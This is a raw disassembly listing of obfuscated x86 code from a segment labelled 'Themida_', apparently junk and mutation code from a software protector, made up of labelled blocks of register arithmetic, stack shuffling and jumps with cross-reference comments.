loc_5AD1E0: ; CODE XREF: Themida_:005ACFE6j
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 2
xchg eax, [esp]
jmp loc_5A52F4
; ---------------------------------------------------------------------------
loc_5AD1F8: ; CODE XREF: Themida_:005986A9j
; Themida_:005A4500j
and ax, 69Ah
sub ax, 0EA78h
mov di, ax
jmp loc_5A3439
; ---------------------------------------------------------------------------
loc_5AD208: ; CODE XREF: Themida_:005A090Ej
sub edx, ebx
pop ebx
jmp loc_5AF53C
; ---------------------------------------------------------------------------
loc_5AD210: ; CODE XREF: Themida_:005A0F87j
pop esp
jmp loc_5A6501
; ---------------------------------------------------------------------------
loc_5AD216: ; CODE XREF: Themida_:005A5C69j
add esp, 4
sub edi, 8D52A52h
add edi, 7C4226FAh
add edi, ecx
sub edi, 7C4226FAh
push edx
mov edx, 4C9A54F7h
shl edx, 7
push ebx
mov ebx, 5B3315F4h
jmp loc_5999BF
; ---------------------------------------------------------------------------
loc_5AD244: ; CODE XREF: Themida_:005ADDEEj
pop edi
push esi
jmp loc_5A5C77
; ---------------------------------------------------------------------------
loc_5AD24B: ; CODE XREF: Themida_:005AF3D8j
movzx ecx, al
push 7069h
mov [esp], ecx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AD25B: ; CODE XREF: Themida_:0059FC1Fj
mov edx, 47282FA3h
or ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5986EB
; ---------------------------------------------------------------------------
loc_5AD26D: ; CODE XREF: Themida_:005A4A6Cj
not edi
push ecx
mov ecx, 47D687C8h
sub edi, ecx
pop ecx
mov eax, edi
pop edi
add eax, 0FFFFFFFFh
shl eax, 1
sub eax, 0FFFFFFFFh
and eax, 744619D1h
neg eax
xor eax, 9D02D103h
jmp loc_5A4C78
; ---------------------------------------------------------------------------
loc_5AD296: ; CODE XREF: Themida_:005A8928j
push ebx
mov ebx, 43D16970h
jmp loc_5A08FC
; ---------------------------------------------------------------------------
loc_5AD2A1: ; CODE XREF: Themida_:0059C68Ej
or cl, 0D6h
jnb loc_59D7FD
xor cl, 0C4h
add bl, cl
pop ecx
sub bl, 0A7h
pop ecx
loc_5AD2B4: ; CODE XREF: Themida_:0059B336j
mov ebx, 58905F00h
jmp loc_59F6CF
; ---------------------------------------------------------------------------
loc_5AD2BE: ; CODE XREF: Themida_:005AAC10j
shr ebx, 7
xchg edi, ebx
jmp loc_5ADE16
; ---------------------------------------------------------------------------
loc_5AD2C8: ; CODE XREF: Themida_:005A6D7Aj
xor ebx, eax
mov eax, [esp]
sub esp, 4
jmp loc_59EFE8
; ---------------------------------------------------------------------------
loc_5AD2D5: ; CODE XREF: Themida_:005A3805j
sub dword ptr [esp+4], 54896A93h
sub [esp+4], edi
add dword ptr [esp+4], 54896A93h
pop edi
add dword ptr [esp], 5B0E0DD2h
jmp loc_5A7DAA
; ---------------------------------------------------------------------------
loc_5AD2F6: ; CODE XREF: Themida_:0059F620j
xchg ebp, [esp]
mov esp, [esp]
push ecx
push ebx
jmp loc_5AED7E
; ---------------------------------------------------------------------------
loc_5AD303: ; CODE XREF: Themida_:005A06B9j
xchg ecx, esi
add esi, 1D3D07A0h
jmp loc_5ADC9C
; ---------------------------------------------------------------------------
loc_5AD310: ; CODE XREF: Themida_:005AC137j
mov ebx, ecx
mov ecx, [esp]
jmp loc_5A360F
; ---------------------------------------------------------------------------
loc_5AD31A: ; CODE XREF: Themida_:005A24FFj
xor [esp], cx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AD323: ; CODE XREF: Themida_:005A258Cj
push 3D60h
jmp loc_5A163D
; ---------------------------------------------------------------------------
loc_5AD32D: ; CODE XREF: Themida_:005A9BFBj
pop eax
or cl, bl
jmp loc_5A2D7B
; ---------------------------------------------------------------------------
loc_5AD335: ; CODE XREF: Themida_:00598BE4j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5AAEF2
; ---------------------------------------------------------------------------
loc_5AD349: ; CODE XREF: Themida_:005A3C01j
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5A1415
; ---------------------------------------------------------------------------
loc_5AD359: ; CODE XREF: Themida_:005A9363j
xchg esi, [esp]
jmp loc_5A965C
; ---------------------------------------------------------------------------
loc_5AD361: ; CODE XREF: Themida_:0059C947j
mov esp, [esp]
mov esi, [esp]
jmp loc_5AC3BE
; ---------------------------------------------------------------------------
loc_5AD36C: ; CODE XREF: Themida_:0059A0A3j
sub eax, 1D1405E4h
add eax, 75487B48h
sub eax, ecx
sub eax, 75487B48h
add eax, 1D1405E4h
add eax, 5DB97B74h
jmp loc_5A69F4
; ---------------------------------------------------------------------------
loc_5AD38C: ; CODE XREF: Themida_:005A5554j
mov [esp], ebp
push esi
jmp loc_59F2F9
; ---------------------------------------------------------------------------
loc_5AD395: ; CODE XREF: Themida_:0059F47Fj
inc ebx
jp loc_5A9531
xor ebx, 983FE4C1h
jmp loc_5A271F
; ---------------------------------------------------------------------------
loc_5AD3A7: ; CODE XREF: Themida_:005995A7j
push 73C53B61h
pop edi
neg edi
jmp loc_5AA2FD
; ---------------------------------------------------------------------------
loc_5AD3B4: ; CODE XREF: Themida_:005A9436j
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
push eax
mov eax, esp
add eax, 4
jmp loc_5A55CC
; ---------------------------------------------------------------------------
loc_5AD3DC: ; CODE XREF: Themida_:0059E631j
pop ebx
pop ecx
not ecx
xchg ecx, ebx
jmp loc_59A43E
; ---------------------------------------------------------------------------
loc_5AD3E7: ; CODE XREF: Themida_:005ADF6Bj
pop edx
jmp loc_5AF2B8
; ---------------------------------------------------------------------------
loc_5AD3ED: ; CODE XREF: Themida_:0059CE71j
jnz loc_5A83EB
sub edx, 9B378B89h
mov edx, edi
add al, 0FBh
loc_5AD3FD: ; CODE XREF: Themida_:005A7B66j
; Themida_:005A9A06j
mov ebx, [esp]
add esp, 4
push edx
mov dh, 13h
jmp loc_5AF3B8
; ---------------------------------------------------------------------------
loc_5AD40B: ; CODE XREF: Themida_:0059CA1Bj
pop ebp
jmp loc_5A844E
; ---------------------------------------------------------------------------
loc_5AD411: ; CODE XREF: Themida_:005AC1F8j
mov ecx, [esp]
add esp, 4
xor ecx, 2838E550h
mov ebp, ecx
mov ecx, [esp]
add esp, 4
sub eax, 7F9C4AC4h
sub esp, 4
jmp loc_59D397
; ---------------------------------------------------------------------------
loc_5AD438: ; CODE XREF: Themida_:005AEFD9j
and ch, 34h
jmp loc_59E5E8
; ---------------------------------------------------------------------------
loc_5AD440: ; CODE XREF: Themida_:005A13CDj
xchg edi, [esp]
not edi
xchg edi, [esp]
pop ebx
xchg ebx, edx
inc edx
neg edx
shr edx, 1
xor edx, 377589B1h
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp], ecx
push 4
mov ecx, [esp]
add esp, 4
add eax, ecx
pop ecx
xor eax, [esp]
jmp loc_5A5EB6
; ---------------------------------------------------------------------------
loc_5AD492: ; CODE XREF: Themida_:005ADC9Fj
inc esi
jmp loc_5ABB1D
; ---------------------------------------------------------------------------
loc_5AD498: ; CODE XREF: Themida_:005AE8A3j
jl loc_5A7E0C
and ebx, 7ACA5BD5h
jns loc_5A2C28
mov al, dl
push edx
loc_5AD4AD: ; CODE XREF: Themida_:005AE6F2j
; Themida_:005AF29Dj
jns loc_59A00F
push ebp
mov ebp, 0ED060D3h
neg ebp
mov edi, edi
pop ebx
loc_5AD4BE: ; CODE XREF: Themida_:005A838Aj
add ebp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
push eax
jmp loc_5AB8C4
; ---------------------------------------------------------------------------
loc_5AD4D2: ; CODE XREF: Themida_:005A051Aj
push dword ptr [esp]
pop eax
jmp loc_5A198E
; ---------------------------------------------------------------------------
loc_5AD4DB: ; CODE XREF: Themida_:005A9084j
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, 24E47F55h
jmp loc_5A9EA7
; ---------------------------------------------------------------------------
loc_5AD4EF: ; CODE XREF: Themida_:005A9CFEj
sub edi, edx
pop edx
jmp loc_59F896
; ---------------------------------------------------------------------------
loc_5AD4F7: ; CODE XREF: Themida_:0059D39Aj
mov edx, 285347BDh
sub edx, 0C080D656h
add eax, edx
pop edx
jmp loc_59DC43
; ---------------------------------------------------------------------------
loc_5AD50A: ; CODE XREF: Themida_:005AD0EDj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov ah, 1Eh
jmp loc_59D233
; ---------------------------------------------------------------------------
loc_5AD51E: ; CODE XREF: Themida_:0059B02Ej
mov ecx, [esp]
add esp, 4
shl ebp, 6
sub ebp, 69D9DE1Eh
sub ecx, ebp
pop ebp
jmp loc_5A0615
; ---------------------------------------------------------------------------
loc_5AD538: ; CODE XREF: Themida_:0059D5FAj
push 0B7h
mov [esp], esi
mov esi, 5D1C2CA2h
add esi, 1
and esi, 79F7191Fh
not esi
shr esi, 7
push esi
push 72Bh
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
push edi
jmp loc_5A8145
; ---------------------------------------------------------------------------
loc_5AD56F: ; CODE XREF: Themida_:0059D778j
pop ebp
push edi
push esp
pop edi
jmp loc_5A2BF0
; ---------------------------------------------------------------------------
loc_5AD578: ; CODE XREF: Themida_:0059A57Cj
sub esi, edi
mov edi, [esp]
jmp loc_5A2834
; ---------------------------------------------------------------------------
loc_5AD582: ; CODE XREF: Themida_:005A757Dj
add edi, 4
xchg edi, [esp]
pop esp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push 1D1Ch
mov [esp], esi
jmp loc_5AA4AA
; ---------------------------------------------------------------------------
loc_5AD5A5: ; CODE XREF: Themida_:005A10A4j
pop ebx
mov ebx, [esp]
add esp, 4
xor ebx, eax
jmp loc_5A9636
; ---------------------------------------------------------------------------
loc_5AD5B3: ; CODE XREF: Themida_:005A3942j
sub al, 76h
pop ebx
mov ch, al
jmp loc_5A8AC7
; ---------------------------------------------------------------------------
loc_5AD5BD: ; CODE XREF: Themida_:005A737Aj
push ebx
xor dword ptr [esp], 2ACC75DBh
pop eax
xor eax, 2ACC75DBh
pop ebx
push ebp
mov ebp, 77A40590h
shl ebp, 6
jmp loc_5AB977
; ---------------------------------------------------------------------------
loc_5AD5DA: ; CODE XREF: Themida_:005A7167j
; Themida_:005ADD57j
add ecx, 776F54E4h
mov edx, [esp]
add esp, 4
add ecx, ebx
push esi
mov esi, 30982FEFh
add esi, 749E3435h
add esi, 0C722B4C0h
jmp loc_5ADA51
; ---------------------------------------------------------------------------
loc_5AD5FF: ; CODE XREF: Themida_:0059D43Dj
; Themida_:005A219Fj
sub eax, 291730EDh
jmp loc_5A8507
; ---------------------------------------------------------------------------
mov cx, [esp]
push 432Dh
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov ecx, esp
push 3246h
jmp loc_5ACD1A
; ---------------------------------------------------------------------------
loc_5AD627: ; CODE XREF: Themida_:00598C02j
pop edi
jmp loc_59C177
; ---------------------------------------------------------------------------
loc_5AD62D: ; CODE XREF: Themida_:005ACA0Fj
pop ebx
pop dword ptr [esp]
pop esp
push ecx
mov ecx, 46260EBFh
inc ecx
inc ecx
sub ecx, 0F2C0AAFh
jmp loc_5A08D3
; ---------------------------------------------------------------------------
loc_5AD645: ; CODE XREF: Themida_:005ACAB7j
push dword ptr [esp]
pop eax
add esp, 4
add esi, 4
push esi
jmp loc_5A70D8
; ---------------------------------------------------------------------------
loc_5AD65B: ; CODE XREF: Themida_:005A0B26j
xchg esi, ebx
push esi
sub esp, 4
mov [esp], eax
pop esi
pop eax
not eax
xchg eax, esi
xor ebx, esi
xor esi, ebx
xor ebx, esi
jmp loc_5A006A
; ---------------------------------------------------------------------------
loc_5AD674: ; CODE XREF: Themida_:loc_598510j
; Themida_:0059CED4j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_5A386A
; ---------------------------------------------------------------------------
loc_5AD686: ; CODE XREF: Themida_:005A1603j
add al, dh
pop edx
sub al, dh
push dx
jmp loc_59AB50
; ---------------------------------------------------------------------------
loc_5AD692: ; CODE XREF: Themida_:005A2EB7j
not cx
push si
mov si, 9CECh
xor cx, si
pop si
and di, cx
pop ecx
inc di
push ebp
mov bp, 5C9h
add bp, 2171h
xor bp, 3A67h
shl bp, 7
xor bp, 6018h
jmp loc_59A4DC
; ---------------------------------------------------------------------------
loc_5AD6C3: ; CODE XREF: Themida_:005ADBE5j
mov [esp], edx
mov edx, 3FAF6C23h
xor edx, 10D21ACFh
add eax, edx
jmp loc_5AD9D5
; ---------------------------------------------------------------------------
loc_5AD6D8: ; CODE XREF: Themida_:005A3F28j
; Themida_:005ADB88j
shr edi, 6
sub edi, 8428EE98h
push eax
push 123376F8h
pop eax
jmp loc_59ECE8
; ---------------------------------------------------------------------------
loc_5AD6ED: ; CODE XREF: Themida_:005A46FDj
xor ebx, ebp
pop ebp
shr ebx, 1
sub esp, 4
mov [esp], eax
mov eax, 51AB543Ch
jmp loc_5AA61B
; ---------------------------------------------------------------------------
loc_5AD705: ; CODE XREF: Themida_:005A9135j
pop eax
add esp, 4
add esp, 4
push eax
jmp loc_5A4587
; ---------------------------------------------------------------------------
loc_5AD718: ; CODE XREF: Themida_:0059C498j
jmp loc_59BE24
; ---------------------------------------------------------------------------
loc_5AD71D: ; CODE XREF: Themida_:005A4BDDj
push 3EA7h
mov [esp], eax
jmp loc_5A8759
; ---------------------------------------------------------------------------
loc_5AD72A: ; CODE XREF: Themida_:005A6767j
sub esp, 4
mov [esp], esi
mov esi, esp
push 3C38h
jmp loc_5A8A48
; ---------------------------------------------------------------------------
loc_5AD73C: ; CODE XREF: Themida_:005AF522j
jmp loc_5A7D5E
; ---------------------------------------------------------------------------
loc_5AD741: ; CODE XREF: Themida_:0059EFEBj
mov esi, esp
jmp loc_5AB304
; ---------------------------------------------------------------------------
loc_5AD748: ; CODE XREF: Themida_:005995C1j
xor eax, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push 3E28h
mov [esp], ecx
push ebx
jmp loc_5AEF85
; ---------------------------------------------------------------------------
loc_5AD760: ; CODE XREF: Themida_:005A97ABj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5ADBD2
; ---------------------------------------------------------------------------
loc_5AD775: ; CODE XREF: Themida_:005A7516j
; Themida_:005AE849j
push 2F296BECh
push dword ptr [esp]
pop eax
push eax
jmp loc_59C4C4
; ---------------------------------------------------------------------------
loc_5AD784: ; CODE XREF: Themida_:0059D8EEj
mov esp, [esp]
xor [esp], al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AD790: ; CODE XREF: Themida_:0059E240j
jmp loc_5A0A05
; ---------------------------------------------------------------------------
loc_5AD795: ; CODE XREF: Themida_:005A468Fj
push ebx
mov ebx, 4
add edi, ebx
jmp loc_59E636
; ---------------------------------------------------------------------------
loc_5AD7A2: ; CODE XREF: Themida_:005A355Dj
sub esi, 1543371Ch
inc esi
jle loc_5A1B4D
shr esi, 6
or esi, 60EA5893h
jl loc_5AB0EF
add esi, 0BA7A94D8h
push edx
mov edx, 1
sub esi, edx
pop edx
push ecx
mov ecx, 554F0205h
inc ecx
xor ecx, 34E99E12h
xor esi, ecx
pop ecx
add eax, 44120DF8h
jmp loc_5A1FA6
; ---------------------------------------------------------------------------
loc_5AD7E7: ; CODE XREF: Themida_:00599602j
; Themida_:005A2977j
and ecx, 303105D2h
xchg eax, ecx
jmp loc_5A6267
; ---------------------------------------------------------------------------
loc_5AD7F3: ; CODE XREF: Themida_:005AF147j
add ebx, 33B94023h
add ebx, eax
jmp loc_5A8B5E
; ---------------------------------------------------------------------------
loc_5AD800: ; CODE XREF: Themida_:005A2C7Ej
pop esi
push ecx
mov ecx, esp
push esi
mov esi, 1B0B5A1Eh
jmp loc_5A0A15
; ---------------------------------------------------------------------------
loc_5AD80F: ; CODE XREF: Themida_:005A5EB1j
dec dword ptr [esp]
pushf
jmp loc_5A1D29
; ---------------------------------------------------------------------------
loc_5AD818: ; CODE XREF: Themida_:005A6096j
neg dl
neg dl
xor dl, 1Eh
sub esp, 4
mov [esp], edx
push ecx
mov ch, 68h
and ch, 29h
dec ch
jo loc_599B42
shr ch, 5
jz loc_59DEA6
neg ch
jle loc_59E015
neg ch
jmp loc_5AA49A
; ---------------------------------------------------------------------------
sub cl, 0D4h
sub cl, 6
loc_5AD851: ; CODE XREF: Themida_:005A544Ej
push ebp
mov ebp, 2DFE17A6h
and ebp, 58E36892h
not ebp
inc ebp
add ebp, 63BC6E11h
xor ebp, 8CEF85C9h
add esi, ebp
pop ebp
add [esp+4], esi
pop esi
pop eax
push ebx
mov ebx, 6E152ADAh
sub ebx, 63740B44h
jmp loc_5AA214
; ---------------------------------------------------------------------------
loc_5AD886: ; CODE XREF: Themida_:005A3AADj
or edx, 6A097AC9h
dec edx
add edx, 10102E9Dh
dec edx
shl edx, 5
sub esp, 4
mov [esp], ebp
mov ebp, 711F7E09h
push ebp
jmp loc_59CB42
; ---------------------------------------------------------------------------
loc_5AD8AB: ; CODE XREF: Themida_:0059CBFFj
sub edx, 3C8B7D1Eh
sub edx, 76DD20F7h
xor edx, 0BB5FDE92h
xor edx, 4A40084Ah
sub edx, 0FFFFFFFFh
jmp loc_5A21CF
; ---------------------------------------------------------------------------
loc_5AD8CE: ; CODE XREF: Themida_:005A08CEj
push 5D1Ah
jmp loc_5A9FE9
; ---------------------------------------------------------------------------
loc_5AD8D8: ; CODE XREF: Themida_:loc_5AA775j
sub esi, 8C446A95h
mov ebp, esi
pop esi
mov edx, 0AD8FE155h
add edx, ebp
pop ebp
jmp loc_5A0BB2
; ---------------------------------------------------------------------------
loc_5AD8EE: ; CODE XREF: Themida_:0059BF08j
jnz loc_5A1FA1
jmp loc_5A6E03
; ---------------------------------------------------------------------------
sub eax, esi
jmp loc_5A826C
; ---------------------------------------------------------------------------
loc_5AD900: ; CODE XREF: Themida_:0059C214j
add ebp, esi
pop esi
xor ebp, 805CD66Ah
sub esi, ebp
jmp loc_59CCE5
; ---------------------------------------------------------------------------
loc_5AD910: ; CODE XREF: Themida_:0059A357j
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_5A4D8A
; ---------------------------------------------------------------------------
loc_5AD922: ; CODE XREF: Themida_:0059FDDFj
shr esi, 6
jmp loc_59DD4D
; ---------------------------------------------------------------------------
loc_5AD92A: ; CODE XREF: Themida_:005A0933j
; Themida_:loc_5AC242j
shr eax, 4
jnz loc_59B8F5
jmp loc_59C0BB
; ---------------------------------------------------------------------------
mov [esp], ecx
push edi
push edx
loc_5AD93D: ; CODE XREF: Themida_:005A0AC7j
shl edx, 3
jmp loc_5A2CFC
; ---------------------------------------------------------------------------
loc_5AD945: ; CODE XREF: Themida_:005A8916j
add esp, 4
or ebp, 4F17ACDh
not ebp
push eax
mov eax, 0FA0E801Eh
sub ebp, eax
mov eax, [esp]
jmp loc_599954
; ---------------------------------------------------------------------------
loc_5AD960: ; CODE XREF: Themida_:005A6D07j
push ecx
jmp loc_5A9968
; ---------------------------------------------------------------------------
loc_5AD966: ; CODE XREF: Themida_:005AF236j
xor edi, [esp]
pop esp
jmp loc_5A0744
; ---------------------------------------------------------------------------
loc_5AD96F: ; CODE XREF: Themida_:005AA416j
jmp loc_5A4F41
; ---------------------------------------------------------------------------
loc_5AD974: ; CODE XREF: Themida_:005AA98Cj
and esi, 10EC2250h
jno loc_5ABD98
not esi
not esi
jmp loc_5A0925
; ---------------------------------------------------------------------------
pop ecx
loc_5AD98A: ; CODE XREF: Themida_:005A9508j
sub esp, 4
mov [esp], eax
mov eax, 45DD0A63h
jmp loc_5AC8BC
; ---------------------------------------------------------------------------
loc_5AD99D: ; CODE XREF: Themida_:005A5A9Dj
sub edx, 10451200h
jmp loc_5A4D39
; ---------------------------------------------------------------------------
loc_5AD9A8: ; CODE XREF: Themida_:005A1DD3j
add ecx, edx
sub ecx, 309772F3h
push edx
mov edx, 0
add edx, ecx
jmp loc_59C37F
; ---------------------------------------------------------------------------
loc_5AD9BD: ; CODE XREF: Themida_:0059ED55j
add ecx, edx
jmp loc_59EC83
; ---------------------------------------------------------------------------
loc_5AD9C4: ; CODE XREF: Themida_:005A0654j
add ebx, 1
add ebx, 87F87BD1h
jmp loc_5A8C1F
; ---------------------------------------------------------------------------
loc_5AD9D5: ; CODE XREF: Themida_:005AD6D3j
pop edx
add eax, edi
jmp loc_5A0E67
; ---------------------------------------------------------------------------
loc_5AD9DD: ; CODE XREF: Themida_:005A4DC6j
xor edi, esi
jmp loc_5ABA27
; ---------------------------------------------------------------------------
loc_5AD9E4: ; CODE XREF: Themida_:005A0748j
mov [esp], ecx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AD9EC: ; CODE XREF: Themida_:005A6737j
sub ebp, 57B96C82h
jmp loc_5A5D5F
; ---------------------------------------------------------------------------
loc_5AD9F7: ; CODE XREF: Themida_:005A3844j
sub edi, 6F62CDCh
add edi, eax
add edi, 6F62CDCh
mov eax, [esp]
add esp, 4
dec edi
add edi, 49AEBFFh
or ebx, edi
pop edi
sub ebx, 5FDB136Ch
sub [edi+24h], ebx
jmp loc_5AAFCE
; ---------------------------------------------------------------------------
loc_5ADA23: ; CODE XREF: Themida_:005A682Aj
mov eax, ecx
jmp loc_59F73C
; ---------------------------------------------------------------------------
loc_5ADA2A: ; CODE XREF: Themida_:0059F5EDj
mov bl, ch
pop ecx
push 35CCh
jmp loc_59EA4C
; ---------------------------------------------------------------------------
loc_5ADA37: ; CODE XREF: Themida_:005A54E5j
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, ecx
xor ecx, eax
xor eax, ecx
push 74A2h
jmp loc_59DC83
; ---------------------------------------------------------------------------
loc_5ADA51: ; CODE XREF: Themida_:0059A6BCj
; Themida_:005AD5FAj
add ecx, esi
pop esi
sub ecx, 61022087h
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
push ebx
jmp loc_5AA014
; ---------------------------------------------------------------------------
loc_5ADA67: ; CODE XREF: Themida_:005A0810j
sub bl, 41h
jmp loc_59C2AD
; ---------------------------------------------------------------------------
loc_5ADA6F: ; CODE XREF: Themida_:005A8C21j
push dword ptr [esp]
pop ebx
jmp loc_5AE082
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebp
push esp
pop ebp
jmp loc_5A71CE
; ---------------------------------------------------------------------------
loc_5ADA88: ; CODE XREF: Themida_:0059C5D7j
push esi
mov esi, 12390258h
jmp loc_5A132C
; ---------------------------------------------------------------------------
loc_5ADA93: ; CODE XREF: Themida_:005A27A2j
mov [esp], cx
push edx
jmp loc_5A6357
; ---------------------------------------------------------------------------
loc_5ADA9D: ; CODE XREF: Themida_:0059E172j
pop eax
sub dword ptr [esp+4], 7A7D7A3Fh
add dword ptr [esp+4], 6A2E5B75h
add [esp+4], ebx
push ecx
mov ecx, 6A2E5B75h
sub [esp+8], ecx
pop ecx
push ebp
mov ebp, 7A7D7A3Fh
add [esp+8], ebp
pop ebp
jmp loc_5A12D1
; ---------------------------------------------------------------------------
loc_5ADACD: ; CODE XREF: Themida_:005ADC58j
pop edx
sub eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59F1F0
; ---------------------------------------------------------------------------
loc_5ADADF: ; CODE XREF: Themida_:005AB9ABj
add esi, eax
sub esi, 2C477FDAh
mov eax, [esp]
add esp, 4
push 220Ah
mov [esp], ecx
mov ecx, 2
add esi, ecx
pop ecx
push 31AEh
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5AB704
; ---------------------------------------------------------------------------
loc_5ADB0E: ; CODE XREF: Themida_:005A5B7Aj
mov [esp], ebp
jmp loc_5A5A3C
; ---------------------------------------------------------------------------
loc_5ADB16: ; CODE XREF: Themida_:005A4A01j
mov al, cl
push ecx
mov cl, al
mov bh, cl
pop ecx
jmp loc_5AB741
; ---------------------------------------------------------------------------
loc_5ADB23: ; CODE XREF: Themida_:005A74DBj
mov esi, 7E1C2E7Fh
push eax
mov eax, 414B3D5Ah
or eax, 95954EBh
add eax, 25B8907Dh
jmp loc_5AA491
; ---------------------------------------------------------------------------
loc_5ADB3D: ; CODE XREF: Themida_:0059E580j
push edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
pop ebp
xchg edx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_5A0688
; ---------------------------------------------------------------------------
loc_5ADB64: ; CODE XREF: Themida_:005A9734j
; Themida_:005AD0ACj
mov ebx, ecx
pop ecx
jmp loc_59DF00
; ---------------------------------------------------------------------------
loc_5ADB6C: ; CODE XREF: Themida_:005AC2B0j
push 0C14h
mov [esp], esi
mov esi, 2
jmp loc_5A8633
; ---------------------------------------------------------------------------
loc_5ADB7E: ; CODE XREF: Themida_:loc_59A5E8j
or al, 44h
jnb loc_59910E
add al, 8
jmp loc_5AD6D8
; ---------------------------------------------------------------------------
mov edi, [esp]
loc_5ADB90: ; CODE XREF: Themida_:0059FD3Ej
mov esi, 0B14D0579h
xor ebp, esi
mov esi, [esp]
jmp loc_5A6BC0
; ---------------------------------------------------------------------------
loc_5ADB9F: ; CODE XREF: Themida_:005ABD01j
mov edx, 78005B2Ch
not edx
jmp loc_5A91A1
; ---------------------------------------------------------------------------
loc_5ADBAB: ; CODE XREF: Themida_:005A475Ej
mov [esp], edi
push 3907h
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov edx, 42E949E8h
jmp loc_5AACD9
; ---------------------------------------------------------------------------
loc_5ADBD2: ; CODE XREF: Themida_:005AD770j
add ebx, 27954C3Eh
jmp loc_5AF1EA
; ---------------------------------------------------------------------------
loc_5ADBDD: ; CODE XREF: Themida_:0059A7BAj
; Themida_:loc_59D4FEj ...
sub eax, esi
pop esi
push 6A73h
jmp loc_5AD6C3
; ---------------------------------------------------------------------------
loc_5ADBEA: ; CODE XREF: Themida_:005A05B5j
add edi, 1B748BEFh
sub edi, 4E284FD3h
not edi
not edi
jmp loc_5A1406
; ---------------------------------------------------------------------------
loc_5ADBFF: ; CODE XREF: Themida_:005ADF25j
push ecx
jmp loc_5A4463
; ---------------------------------------------------------------------------
loc_5ADC05: ; CODE XREF: Themida_:005A826Ej
push 1B9Fh
mov [esp], esi
jmp loc_5A512D
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_59ED0F
; ---------------------------------------------------------------------------
loc_5ADC20: ; CODE XREF: Themida_:005A6E94j
shl al, 8
jmp loc_59F42A
; ---------------------------------------------------------------------------
loc_5ADC28: ; CODE XREF: Themida_:005A5CABj
add eax, esi
jmp loc_5AC16F
; ---------------------------------------------------------------------------
loc_5ADC2F: ; CODE XREF: Themida_:0059A079j
push esp
pop edi
jmp loc_5ACA6B
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4D7Dh
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A87E7
; ---------------------------------------------------------------------------
loc_5ADC57: ; CODE XREF: Themida_:005A0222j
pop ebp
jmp loc_5ADACD
; ---------------------------------------------------------------------------
loc_5ADC5D: ; CODE XREF: Themida_:005A49F0j
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
pop dword ptr [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ADC74: ; CODE XREF: Themida_:loc_59CF0Bj
; Themida_:005A8A71j
add ch, 2Fh
jmp loc_59ED68
; ---------------------------------------------------------------------------
loc_5ADC7C: ; CODE XREF: Themida_:005AF365j
mov al, [esp]
add esp, 2
shl al, 6
jmp loc_5A4694
; ---------------------------------------------------------------------------
loc_5ADC8A: ; CODE XREF: Themida_:0059B80Cj
pop ebp
sub edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_5ABFCB
; ---------------------------------------------------------------------------
loc_5ADC9C: ; CODE XREF: Themida_:005AD30Bj
shr esi, 8
jmp loc_5AD492
; ---------------------------------------------------------------------------
loc_5ADCA4: ; CODE XREF: Themida_:0059AB4Bj
mov [esp], ebp
push 2103h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
push 6DF6h
jmp loc_5A201D
; ---------------------------------------------------------------------------
loc_5ADCBF: ; CODE XREF: Themida_:0059E38Aj
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A477A
; ---------------------------------------------------------------------------
loc_5ADCCD: ; CODE XREF: Themida_:0059C12Ej
sub ebp, edx
pop edx
mov ebx, ebp
pop ebp
jmp loc_5AC7D8
; ---------------------------------------------------------------------------
loc_5ADCD8: ; CODE XREF: Themida_:005A38E2j
mov [esp], eax
push ecx
mov ch, bl
mov ah, ch
jmp loc_5AC3C8
; ---------------------------------------------------------------------------
loc_5ADCE5: ; CODE XREF: Themida_:005A1219j
sub bl, cl
mov ecx, [esp]
add esp, 4
pop ecx
push 19E7h
mov [esp], eax
mov ah, 0EAh
sub bl, 0CDh
jmp loc_5A185C
; ---------------------------------------------------------------------------
loc_5ADD00: ; CODE XREF: Themida_:0059FA28j
pop ebx
jmp loc_5ACFD9
; ---------------------------------------------------------------------------
loc_5ADD06: ; CODE XREF: Themida_:005AA36Cj
add edx, 4
jmp loc_59B850
